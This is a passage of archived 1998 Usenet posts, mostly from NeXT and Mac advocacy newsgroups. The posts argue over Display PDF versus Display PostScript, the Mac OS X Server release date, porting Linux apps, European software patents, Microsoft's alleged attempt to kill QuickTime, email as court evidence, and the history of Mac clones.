fair game I say. They wrote the font spec, so let them use if right.
Anyway, I wonder if this sort of thing will even be possible at all in
Display PDF, given that there is no server to query. If I had to read in and
interpret all the Font crap myself I'd never have been able to implement this
sort of thing in such a short time...and I probably wouldn't have bothered.
Having the DPS server do it for you is so much easier. And why write your
own code to interpret fonts if there's already code to do it built into the
system?
I think it is issues like these and the fact that Apple hasn't told us what
this so called "Display PDF" will and won't do, that has so many old-timers
upset about the upcoming loss of DPS. If we still get the functionality,
then it is no biggie, but lose stuff like this and you lose a lot of cool
apps/functionality you might otherwise have. Us cranky old timers have a
problem with someone coming along and crippling something that was working
well, I guess.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: Yves R. Crevecoeur <creveco@ibm.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
Organization: 72ciud$ps$1@nnrp1.dejanews.com
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <3652330f.0@news1.ibm.net>
Date: 18 Nov 1998 02:38:07 GMT
whaddock@neosoft.net (WPH) :
> In article <01be1188$01ce14e0$06387880@chewy>, "Todd Heberlein (todd at
> NetSQ dot com)" <todd@dev.null> wrote:
>
> > Stepwise's weekly OS report is announcing a WebObjects 4.0 seminar
> > series beginning Dec. 1 (of this year :-). Since the new WebObjects
> > and MacOS X Server for PowerPC are often linked (at least in this
> > newsgroup) for a joint release, I wonder if this heralds a release date
> > for OS X?
>
> Today's MacOS Rumors says that it will be released after January's
> MacWorld Expo so that some new features may be rolled into it. Yes, this
> is just a rumors site, but with only Steve knowing the release date, all
> there is is rumor and speculation.
>
> Last week a Apple sales rep told me that MacOS X Server is basically ready
> for release. He says the marketing department just has no clue about how
> to market it. I can tell him that there are people out there who want Mac
> OS X Server now and I will be the first in the line to buy it.
>
> All I can say is that MacOS X Server is late, and I am tired of waiting
> for Apple to release a modern OS. It's simply another link in a very long
> chain of broken promises.
>
What kind of a modern OS does not support multi processing?
From: Yves R. Crevecoeur <creveco@ibm.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
Organization: ?e?
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <365232fe.0@news1.ibm.net>
Date: 18 Nov 1998 02:37:50 GMT
whaddock@neosoft.net (WPH) :
> In article <01be1188$01ce14e0$06387880@chewy>, "Todd Heberlein (todd at
> NetSQ dot com)" <todd@dev.null> wrote:
>
> > Stepwise's weekly OS report is announcing a WebObjects 4.0 seminar
> > series beginning Dec. 1 (of this year :-). Since the new WebObjects
> > and MacOS X Server for PowerPC are often linked (at least in this
> > newsgroup) for a joint release, I wonder if this heralds a release date
> > for OS X?
>
> Today's MacOS Rumors says that it will be released after January's
> MacWorld Expo so that some new features may be rolled into it. Yes, this
> is just a rumors site, but with only Steve knowing the release date, all
> there is is rumor and speculation.
>
> Last week a Apple sales rep told me that MacOS X Server is basically ready
> for release. He says the marketing department just has no clue about how
> to market it. I can tell him that there are people out there who want Mac
> OS X Server now and I will be the first in the line to buy it.
>
> All I can say is that MacOS X Server is late, and I am tired of waiting
> for Apple to release a modern OS. It's simply another link in a very long
> chain of broken promises.
>
What kind of a modern OS does not support multi processing?
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: Mon, 16 Nov 1998 21:37:35 +1100
Organization: OzEmail Ltd.
Message-ID: <72ov5h$khl$1@reader1.reader.news.ozemail.net>
References: <3649C384.DEE7E7E1@voy.net>
Corey Winesett wrote in message <3649C384.DEE7E7E1@voy.net>...
>After reading about the possible death of Wordperfect for the Mac, I
>wondered about the possibility of the Linux version being ported to
>OSX's BSD layer. Is this likely?
>
>How different are the various Unixes? Can this type of port be done
>easily?
That's a really good question... I hope someone in the know will
answer! I've looked into the BSD and Linux cross compatibility, but
only as an outside observer - I have no experience with it!
Apparently the BSDs and Linux all run each other's code without
too much problem. All the parts are there for the cross compatibility,
but there's always "minor issues" which need to be addressed.
The biggest problem with MOSX would be the interface. It isn't
compatible with the other interfaces.
Anyone care to fill in more details? Are there any interface
technologies that could help with porting while keeping the
Mac look-and-feel? (bits of GNUstep?)
Greg
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: MWSF MOX BOF?
Date: Mon, 16 Nov 1998 11:06:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72p0vi$4vc$1@nnrp1.dejanews.com>
References: <72ijv1$5uq$1@nnrp1.dejanews.com> <364D3398.769C5BE9@trilithon.com>
In article <364D3398.769C5BE9@trilithon.com>,
Henry McGilton <henry@trilithon.com> wrote:
> malcolm@plsys.co.uk wrote:
>
> * Heavens, I just had a quick look around, and I'm afraid I
> * hardly recognise the neighbourhood. This is really sad.
> * For a while I thought the "knife the baby" thread was
> * actually about silencing Jonathan Harker. Ho hum.
> Right --- advocacy for anything Next-wise appears to have died.
>
I wouldn't mind so much about that, it's more that most participants' brains
seem to have died.
Although I'm delighted by the fact that this thread has "outed" (that's a
sensitive word to use for a Brit at the moment! ;-) a number of old-timers --
and I'm glad I don't have to keep my tongue bitten about Glenn's employment
any more!
> Given I'm here on the scene, I could set up something.
>
A generous offer...
> Just for laughs, how many squash players are there in the newsgroup?
> If I could get enough people --- maybe between eight and
> sixteen --- I could try arrange with the San Francisco Bay Club
> to have a mini-tournament, then go out for several beers.
>
... well, I'm not a squash player, but I'm game. I think I even have a
racquet I could bring along. What date did you have in mind? I'm going to
be around 29 December - 10 January. For me 30 December, or 3,4 January would
seem best (in that order of preference). If others are arriving later than
I, maybe January 3rd would be best, though?
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Paul Wolff <paul@wolff.co.uk>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 16 Nov 1998 12:50:57 +0000
Organization: UDL (Reading)
Message-ID: <YROrVHAx+BU2EAir@wolff.co.uk>
References: <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk>
<KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com>
<oFPnADAoPFT2EA9z@wolff.co.uk> <36598246.6204950@news.demon.co.uk>
MIME-Version: 1.0
In article <36598246.6204950@news.demon.co.uk>, Anthony Ord <nws@rolling
thunder.demon.co.uk> writes
>On Fri, 13 Nov 1998 15:44:40 +0000, Paul Wolff <paul@wolff.co.uk>
>wrote:
>
>>According to remarks from within the European Commission, the law in
>>Europe is unclear. "The practice of patent offices is not exactly in
>>line with the wording of the relevant patent laws. The law excludes
>>patent protection for software but if you are clever, you can obtain a
>>patent for this kind of invention. In other words, those who know the
>>'rules of the game' are successful in getting patents granted for
>>software inventions, and those who lack this knowledge do not even try
>>to apply for software patents .... with the European Patent Office".
>
>This I can't understand. What is the point of awarding patents in
>variance with the law? As soon as the patent is challenged, it will be
>thrown out. The EPO does not make the law, and they should follow it.
>
It's a question of 'What is the law?'. There is a statement in the
original written law, which says that programs for computers are not
inventions for which European patents shall be granted. But what are
the limits of this statement? Why cannot an inventor get a patent for a
method of getting a certain result on a computer, rather than for a
computer program? As soon as you admit that this concept, 'a method of
doing something on a computer' isn't exactly identical with this
concept, 'a computer program', you have scope for saying that the method
is not excluded from patentability. After the EPO has agreed, and some
judges in appeals and revocation suits have agreed, then the law is open
to those who know the rules of the game getting what are in effect
software patents, while those who read the law as it is written and say
'oh, I see that computer programs can't be patented, so I won't bother'
lose out.
There is no basis for saying that the EPO should ignore the way the law
is interpreted by courts. The EPO strives not to act at variance with
the law, but to follow it, which you approve.
>Wait a minute. I can see why they do it. It is a very nice revenue
>stream to award useless software patents.
>
The EPO does not need any more revenue stream than it already has, and I
would be surprised if increasing its revenue was seen as desirable.
There is criticism of European patent costs in some quarters, and the
EPO is sensitive to this, and has reduced fees. This it can afford to
do, since it appears to have income in excess of expenditure, and no
shareholders to whom it can distribute dividends.
>>European software patentability cannot be as liberal as in the United
>>States without some change in the written law that computer programs as
>>such are not patentable, but nevertheless the written law is being
>>interpreted to allow software to be patented in most cases.
>
>Interpreted by the EPO. They are neither judge, jury, nor executioner.
>They are awarding the equivalent of the inter-war German Mark. Nicely
>written toilet paper.
>
An amusing whimsy.
--
Obiter scripta - Paul Wolff
From: Paul Wolff <paul@wolff.co.uk>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 16 Nov 1998 12:51:02 +0000
Organization: UDL (Reading)
Message-ID: <bh$rJLA2+BU2EAgc@wolff.co.uk>
References: <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk>
<KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com>
<oFPnADAoPFT2EA9z@wolff.co.uk> <36598246.6204950@news.demon.co.uk>
<m2yapc5118.fsf@barnowl.demon.co.uk>
MIME-Version: 1.0
In article <m2yapc5118.fsf@barnowl.demon.co.uk>, Graham Murray
<graham@barnowl.demon.co.uk> writes
>
>In comp.os.linux.advocacy, nws@rollingthunder.demon.co.uk (Anthony Ord) writes:
>
>> This I can't understand. What is the point of awarding patents in
>> variance with the law? As soon as the patent is challenged, it will be
>> thrown out. The EPO does not make the law, and they should follow it.
>>
>> Wait a minute. I can see why they do it. It is a very nice revenue
>> stream to award useless software patents.
>
>One solution for this would be for the patent offices to have to
>refund the fees plus pay damages (for their negligence in not properly
>checking the validity) whenever a patent is ruled invalid. This would
>provide an incentive for them to check such things as obviousness (to
>skilled practitioners) and prior art.
Most Patent Offices take care not to guarantee that the patents they
grant are valid. They tend to the view that validity can't be properly
tested until all the facts and all the laws and all the arguments have
been exposed and explored, that the best forum for this is a court of
law, and the best time is when the patent has become an important issue.
There is no point in spending these resources on every patent
application. Meanwhile, they just try to avoid granting clearly invalid
patents.
--
Obiter scripta - Paul Wolff
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 09:41:27 -0500
Content-Transfer-Encoding: 7bit
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Sal Denaro wrote:
>
> On Fri, 13 Nov 1998 13:38:17 -0500,
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >> There has been *nothing* to back up your little hopeful dream.
> >The version I relate is precisely the version which occurred. Your
> >rendition is merely revisionism.
>
> Ahh!! The very clever "Did so! Did not!" defense.
>
Ah, such a clever reply to my out-of-context remark...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 10:00:25 -0500
Content-Transfer-Encoding: 7bit
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <364C7F15.42A8C263@spamtoNull.com> <72k841$caq@news1.panix.com>
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Sal Denaro wrote:
>
>
> You agree that Apple's actions when they shut down thier cloners was
> wrong, but you don't think MS's actions in attempting to shut down
> QuickTime was wrong? Do you really think that it is ok to attempt a
> crime, as long as you don't succeed?
>
> I find that logic hard to understand.
It's actually very simple. We *know* that Apple tried and succeeded to
shut down Apple cloning. That is an undisputed fact. We don't know that
"Microsoft tried to kill Quicktime" but we do know that Quicktime is
*still around* (whereas there's absolutely no question as to the fate of
Mac clone companies.) The Apple Mac-cloning massacre is evidenced by
clear and unambiguous public record. The "unsuccessful attempt" by
Microsoft to "kill" Quicktime is supported by a tenuous few emails years
old (which were *not* public record) and the testimony of Anti-Microsoft
bigots who have made the "Microsoft made us do it" slogan the entire
basis for explaining their assorted mistakes and failures throughout
their careers (and they don't even *work* for Microsoft.) Further, all
of Apple's public actions were *consistent* with a deliberate effort to
destroy Mac cloning. Microsoft's public actions toward Apple are
completely inconsistent with the hypothesis that Microsoft was trying to
"kill" anything at Apple.
Hint: If I intend to kill a competitor, I am not going on national
television to support them, I am *not* going to announce new software
for them, I am not going to assign hundreds of engineers to work on that
software, and I am not going to buy $150 million of their stock and
agree not to sell it for three years at a time when I could have them
"over a barrel."
Did you see Steve Jobs doing any of the above for any of the clone
companies? Ha! And you ask what the *difference* was and is?
Amazing...:)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: eusmpec@exu.ericsson.se
Organization: needs one
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu>
<F2Iux5.1Jz@T-FCN.Net> <david_-1611981212320001@s188-236.resnet.ucla.edu>
<F2JADv.Aqy@T-FCN.Net> <36509CD2.7F56C509@exu.ericsson.se>
Mime-Version: 1.0
Date: Tue, 17 Nov 1998 15:33:27 GMT
In <36509CD2.7F56C509@exu.ericsson.se> Michael Peck wrote:
> Sean Luke's point remains: it is intent, not thought, that incriminates.
Which I pointed out in even the very first message.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Organization: needs one
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<19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com>
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<364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com>
<364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu>
<364DAC84.DDC3A1A4@spamtoNull.com>
Mime-Version: 1.0
Date: Mon, 16 Nov 1998 15:48:09 GMT
In <364DAC84.DDC3A1A4@spamtoNull.com> Jonathan Harker wrote:
> Let me also pose this question to you in another way. Suppose that
> someone produced an email which you had purportedly written three years
> ago. As it would bear nothing within it to link it to you except your
> name, could you guarantee that you would be able to recall whether you
> had written it or not? Is it your contention that there is something
> mystical within the emailing process that makes sure that none of us
> might ever forget even a single email we've written, regardless of how
> long ago we wrote it? I'll bet you that if you use email regularly and
> have done so over the course of years there are probably dozens if not
> hundreds of emails from years past, that if presented to you, you would
> be completely unable to recall ever having written.
This line of reasoning is the same I heard when Whole Earth News claimed
that photographic evidence was "dead" because of the introduction of
machines like the Hell.
FYI, the courts have well established relevancy and validity tests that
stretch back hundreds of years and is just as applicable to e-mail as it is
to snail mail. I can produce a letter and fake your signature with about
the same difficultly as it takes to forge an e-mail from you (for some
people the former is much easier) yet you claim (falsely) that the former
is more suspect because of it's nature.
Let me assure you the courts aren't as dumb as you make them out to be,
if the e-mail is being introduced then the prosecution has demonstrated
within reason that the documents represent the real works of the people
involved. The same is true of faxes, tape recordings, photographs, snail
mail and any other evidence they wish to introduce. After all, this is why
they HAVE cross examination, and to date I have not seen the validity of
the e-mail being directly crossed. For all intents and purposes this means
the defense also accepts the accuracy of the e-mail as representing the
words of the people proported to have written them (although they have
questioned the arguments based upon those words).
Your line of reasoning is incorrect, it seems to be based on a lack of
knowledge of the rules of evidence. E-mail is _exactly_ as valid as any
other form of evidence in court.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Organization: needs one
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<19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com>
<atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com>
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<36503958.78D07B59@spamtoNull.com>
Mime-Version: 1.0
Date: Mon, 16 Nov 1998 15:52:52 GMT
In <36503958.78D07B59@spamtoNull.com> Jonathan Harker wrote:
> In my view, there's nothing wrong with spreading a bit of FUD about the
> iMac, if it's based on reasonable criticism.
Then it's not FUD.
> I genuinely think people
> should stay away from it because of its many crippling limitations
Strangely that's almost exactly how I feel about your messages.
> I've said often. What you call FUD, I call informed criticism. Apple as
> a company seems to dote on the near computer-illiteracy of many of its
> users--heck, Apple doesn't just dote on that, Apple exploits the hell
> out of it.
But there's a sucker born every minute. And one of them's buying an iMac
even faster.
> And you keep dodging the fact that Microsoft's alleged efforts to kill
> QT were, even if true, hardly forceful
"We'll let you go this time, you didn't stick the knife in very hard".
Meaningless, the actions were (if true) illegal. Period.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Cc: seanl@cs.umd.edu
Organization: needs one
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu>
Mime-Version: 1.0
Date: Mon, 16 Nov 1998 15:55:52 GMT
In <72nbdt$1lg$1@cronkite.cs.umd.edu> Sean Luke wrote:
> There are no crimes of thought. There are only crimes of action, some
> with and some without intent. Attempted murder is a crime because an
> action occured.
I think you applied "think" to the wrong side of the statement. Clearly
the example contained an action.
If I sell you a bag of powdered sugar and you buy it thinking it's coke,
you're guilting. The thinking part isn't what you did wrong, it was buying
something you thought was...
Maury
Message-ID: <36504C35.7E40AA4D@voy.net>
From: Corey Winesett <winesett@voy.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
References: <3649C384.DEE7E7E1@voy.net> <72ov5h$khl$1@reader1.reader.news.ozemail.net>
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NNTP-Posting-Date: Mon, 16 Nov 1998 11:11:05 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 16 Nov 1998 11:00:53 -0500
Greg Alexander wrote:
>
> Corey Winesett wrote in message <3649C384.DEE7E7E1@voy.net>...
> >After reading about the possible death of Wordperfect for the Mac, I
> >wondered about the possibility of the Linux version being ported to
> >OSX's BSD layer. Is this likely?
> >
> >How different are the various Unixes? Can this type of port be done
> >easily?
>
> That's a really good question... I hope someone in the know will
> answer! I've looked into the BSD and Linux cross compatibility, but
> only as an outside observer - I have no experience with it!
>
> Apparently the BSDs and Linux all run each other's code without
> too much problem. All the parts are there for the cross compatibility,
> but there's always "minor issues" which need to be addressed.
> The biggest problem with MOSX would be the interface. It isn't
> compatible with the other interfaces.
>
> Anyone care to fill in more details? Are there any interface
> technologies that could help with porting while keeping the
> Mac look-and-feel? (bits of GNUstep?)
This is what I was looking for in my original question. Not specifically
Word Perfect but Linux Apps in general. I was just using Word Perfect as
an example, because it is high profile. Gimp? Oracle products? Whatever?
And what about other Unixes?
Thanks for repointing my point to the point I intended to point it;)
Corey
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 18 Nov 1998 03:10:24 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1711982209450001@pm61-13.magicnet.net>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <3652330f.0@news1.ibm.net>
Yves R. Crevecoeur <creveco@ibm.net> wrote:
> What kind of a modern OS does not support multi processing?
Windows 98?
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 10:18:36 -0500
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Maury Markowitz wrote:
>
>
> FYI, the courts have well established relevancy and validity tests that
> stretch back hundreds of years and is just as applicable to e-mail as it is
> to snail mail. I can produce a letter and fake your signature with about
> the same difficultly as it takes to forge an e-mail from you (for some
> people the former is much easier) yet you claim (falsely) that the former
> is more suspect because of it's nature.
False. It's surprising you don't even know the difference between a
signed document and an unsigned one. If you have a signature, experts
can examine it to determine if it's genuine *if* there's a question
about it. Have you ever heard of the crime of "forgery"? Ask yourself
how you *prove* forgery? In the vast majority of forgery cases forgery
is proved and people are convicted and sent to jail on the basis of
*forged* signatures on significant documents. This is all very
elementary and practically grade-school stuff. The idea that there's no
difference between a signed document and an unsigned one, and no way to
prove any difference, shows an appalling degree of ignorance. Sorry, but
I'm really shocked that anyone would even think that a sterile email is
evidence of the same type and gravity as a paper trail with handwritten
signatures! Sure, you could fake my signature, but guess what? Even if I
could never discover who faked it, it would be child's play to prove I
didn't sign it--which I could not do with an email. Sheesh, this is
common sense.
Look, an email situation is just like the situation you have when you
discover that someone is stealing from your cash register and you have
ten employees who all have access to it. Simply because an email is sent
from a certain machine is *not* proof that the person who is assigned
that machine ever wrote it or sent it, unless it can be clearly shown
that not one other person alive could *possibly* have gained access to
that particular machine. And, it wouldn't surprise me at all to learn
that in these proceedings no effort has even been made to attempt to tie
these emails with specific machines which belonged to specific people at
that time. Using Netscape messenger or Outlook Express, for instance, I
can change my "return email address" to reflect anything I want! I can
say JohnDoe@idaho.com if I like and it will appear to the novice as if
JohnDoe sent the email.
There is a great deal of evidentiary difference between an email and a
paper document with a signature, or even a paper document with
*handwritten* notations in the margins. The latter can be conclusively
tied to a specific individual, the former never can be.
>
> Let me assure you the courts aren't as dumb as you make them out to be,
> if the e-mail is being introduced then the prosecution has demonstrated
> within reason that the documents represent the real works of the people
> involved.
Sorry, but the only thing you assure me of is your bias...:) Is it your
contention that just because the prosecutor says something is true that
it has to be true because, as you put it, the prosecutor isn't "dumb?"
Well, heck, let's just amend the legal code and get rid of defense
attorneys and the presumption of innocence. If the prosecutor is always
right, who needs 'em?
Your bias simply doesn't allow you to grasp the obvious. There is an
excellent chance that *you* wouldn't remember every single email you
wrote three years ago if they were all presented to you. Most people
have no trouble admitting this is universally true. Now, let's suppose
you were presented with a three-year old email which you did not
actually write but which had your name on it. At best, you're going to
assume you simply cannot remember having written it. If you in fact did
not send it, how could you prove you didn't send it?
>
> Your line of reasoning is incorrect, it seems to be based on a lack of
> knowledge of the rules of evidence. E-mail is _exactly_ as valid as any
> other form of evidence in court.
>
Unless stipulated to by the defense, and allowed by the judge (which
might be a great appeal item), email is nowhere_near_as_valid as many
other forms of evidence. Your suggestion is ludicrous.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 10:28:40 -0500
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Maury Markowitz wrote:
>
> In <36503958.78D07B59@spamtoNull.com> Jonathan Harker wrote:
> > In my view, there's nothing wrong with spreading a bit of FUD about the
> > iMac, if it's based on reasonable criticism.
>
> Then it's not FUD.
Sure, it is. FUD: fear, uncertainty, and doubt. There is no connotation
in FUD for "unjustified" or "justified."
For instance, there are a lot of people who frequent this newsgroup who
*will not buy* an iMac because they don't like the fact that it's not
internally upgradeable/expandable. This is an example of justifiable
FUD. It's reasonable and rational. An example of unjustified FUD might
be to say: "Don't buy the iMac because it's an Apple product and Macs
have a lot of problems."
>
> > I genuinely think people
> > should stay away from it because of its many crippling limitations
>
> Strangely that's almost exactly how I feel about your messages.
But you keep comin' back...:)
>
> "We'll let you go this time, you didn't stick the knife in very hard".
>
> Meaningless, the actions were (if true) illegal. Period.
>
Exactly, the operative words being "if true."
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: 18 Nov 1998 02:45:14 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn754d5n.n8k.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com> <364A93F5.615EB064@ix.netcom.com> <72evh2$ut$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 18 Nov 1998 02:45:14 GMT
On Thu, 12 Nov 1998 15:40:18 GMT, brlewis@my-dejanews.com wrote:
:Are you saying that being a big firm with extensive resources makes you less
:likely to be sued if you make software and more likely to be sued if you use
:software? Seems inconsistent to me.
Normally yes. But in this particular case, Microsoft's motivation is
not to extract financial royalties, but to destroy development of the
OSS product.
:Anyway, if a small OSS developer did get sued, the EFF would be ready to help,
:aided by donations from large firms such as Intel and Motorola who have heavy
:stakes in OSS.
Let's hope.
I think Microsoft would have to be quite desperate to try this, and
the obvious signs of this desperation perhaps would weigh more heavily
on MSFT customers than the effects of the patent suits.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 18 Nov 1998 02:49:55 GMT
Organization: University of Maryland, College Park
Message-ID: <72tckj$rcm$3@hecate.umd.edu>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtoNull.com> <cirby-1711981214510001@pm51-46.magicnet.net>
Chad Irby (cirby@magicnet.net) wrote:
: Jonathan Harker <Limeyville@spamtoNull.com> wrote:
: > (2) The Mac clone companies were still in their infancy when Jobs killed
: > them off (infanticide.) Two years in the life of a brand new clone
: > company is barely time enough to learn how to walk instead of crawl.
: Yeah, those "brand new' companies like Motorola and UMAX don't know
: *anything* about production or marketing.
: > The simple truth is the Mac market as an open, cloning
: > market was destroyed before it ever got off the ground.
: > Look at the successful X86 clone companies like Dell,
: > Compaq, and Gateway--it took them far longer to get
: > anywhere and there were a lot of bumps and struggles
: > along the way.
: Yup. Lots of struggles. Except that there never *was* a truly open
: cloning market in the same sense as the Mac cloning market. Compaq sold
: "portable" computers well before they cloned PCs, and their main jump in
: sales came when they beat IBM to market with a 386-based machine.
Compaq's major claim was "100% IBM compatibility". "All software written
to run on IBM PC will run on Compaq computers". They wanted to be a
"better IBM PC maker" than IBM. Get your hands on those ancient 286
based Deskpros and you'll see what I mean. Full armor plating, specially
designed case with curved sheetmeal edges, as to not hurt the IT manager's
hands when he was servicing it.
: Compaq (like Dell and Gateway) also did something that the Mac cloners
: never really tried. Compaq pushed their computers to new markets, like
: home users and smaller businesses (something IBM never really did worth a
: damn). IBM had the bigger companies in their pocket, and Compaq couldn't
: compete with the IBM sales force in any circumstance. So they sold to
: folks who were out of IBM's target market. Dell and Gateway opened up the
: mail-order market, which was the big group that Compaq missed. The newer
: bottom-end PC cloners are going for the "too cheap to buy a Gateway"
: market now.
Nope, Compaq, in its early days, sold exclusively to the same market as
IBM. Never tried anything new. It wasn't until the 91-92 time frame,
when Canion was replaced by Pfifer, that Compaq went to the mass-volume,
lower cost model. Prior to that, Compaq built sturdier tank-like
computers than IBM.
Dell was having moderate success in mailorder, but it tried to become
"like the big boys". Which meant retail, like the big boys. Dell tried
to move away from mail-order only to retail, and failed. I worked with some
Dell Computers at CompUSA in the 1991 time frame, and After the debacle,
Dell pulled out of retail, and went back to mailorder. I remember thinking
"Well that's it for Dell, they'll never make it now." Well, that's one
instance I turned out very wrong.
: The Mac cloners... sold Macs to existing Mac users, advertising in Mac
